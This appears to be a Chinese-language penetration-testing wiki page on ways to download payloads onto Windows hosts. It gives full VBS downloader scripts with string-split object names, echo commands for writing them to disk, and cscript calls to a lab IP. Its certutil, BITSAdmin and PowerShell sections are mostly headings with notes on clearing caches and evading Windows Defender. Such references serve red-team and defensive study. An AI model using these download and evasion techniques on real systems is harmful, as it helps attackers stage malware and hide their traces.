payload下载方式

1、VBS下载

1、下载方式1

## down.vbs

set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

## echo写入

echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > down.vbs

## 下载文件

cscript down.vbs http://172.16.175.1/robots.txt d:\test\r.txt

2、无参数方式下载

## down.vbs

strFileURL = "http://172.16.175.1/robots.txt"
strHDLocation = "D:\\readme.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
	objXMLHTTP.open "GET", strFileURL, false
	objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
	objADOStream.Open
	objADOStream.Type = 1
	objADOStream.Write objXMLHTTP.ResponseBody
	objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing

## 使用echo写入代码,不需要写入缩进

echo strFileURL = "http://172.16.175.1/robots.txt" > down.vbs
echo strHDLocation = "D:\\readme.txt" >> down.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> down.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> down.vbs
echo objXMLHTTP.send() >> down.vbs
echo If objXMLHTTP.Status = 200 Then >> down.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >> down.vbs
echo objADOStream.Open >> down.vbs
echo objADOStream.Type = 1 >> down.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> down.vbs
echo objADOStream.Position = 0 >> down.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> down.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> down.vbs
echo Set objFSO = Nothing >> down.vbs
echo objADOStream.SaveToFile strHDLocation >> down.vbs
echo objADOStream.Close >> down.vbs
echo Set objADOStream = Nothing >> down.vbs
echo End if >> down.vbs
echo Set objXMLHTTP = Nothing >> down.vbs

## 使用cscript下载

cscript down.vbs

3、兼容性测试

Win2003 R2 SP2
Win2008 R2
Win10
HTTPS下载测试失败

2、JS下载

1、字符类payload

在Win2003里测试

2、二进制payload

3、兼容性测试

Windows2003
Windows2008
win10
HTTPS下载

3、FTP下载

ftp命令也是全版本Windows系统都默认包含的,其中-s参数可以指定包含 FTP 命令的文本文件;命令在 FTP 启动后自动运行,可以被利用自动下载远程文件

1、匿名模式

2、密码模式

3、一句话下载

合并写入脚本与调用的步骤

匿名版
密码版
最短语句版

4、certutil下载

该工具是证书服务的组件,用于转储和显示证书颁发机构配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。 经过测试该组件在Win2003、2008、7、10里可用,XP下没有

1、下载测试

使用certutil下载文件之后一定要记得清理缓存

如果没有清理缓存,你的下载记录都会在这里

2、Windows defender

经过测试 Windows Defender现在会拦截 certutil下载文件

3、其他常用功能

5、BITSAdmin下载

这个工具的设计目的应该就是为了传输文件,具有很丰富的下载选项,可以限速、设置代理。但是只存在于Win7、2008之后的操作系统。

常用命令

目标地址必须使用绝对路径

限速,修改优先级

测试https下载,没有问题,WD也没有报毒

6、powershell下载

这里提供了两个下载的方式,一个只支持PS3.0+,可以使用通用的2.0版本

1、查看PS版本

2、基于Sytem.Net.WebClient

3、基于Invoke-WebRequest

最后更新于

这有帮助吗?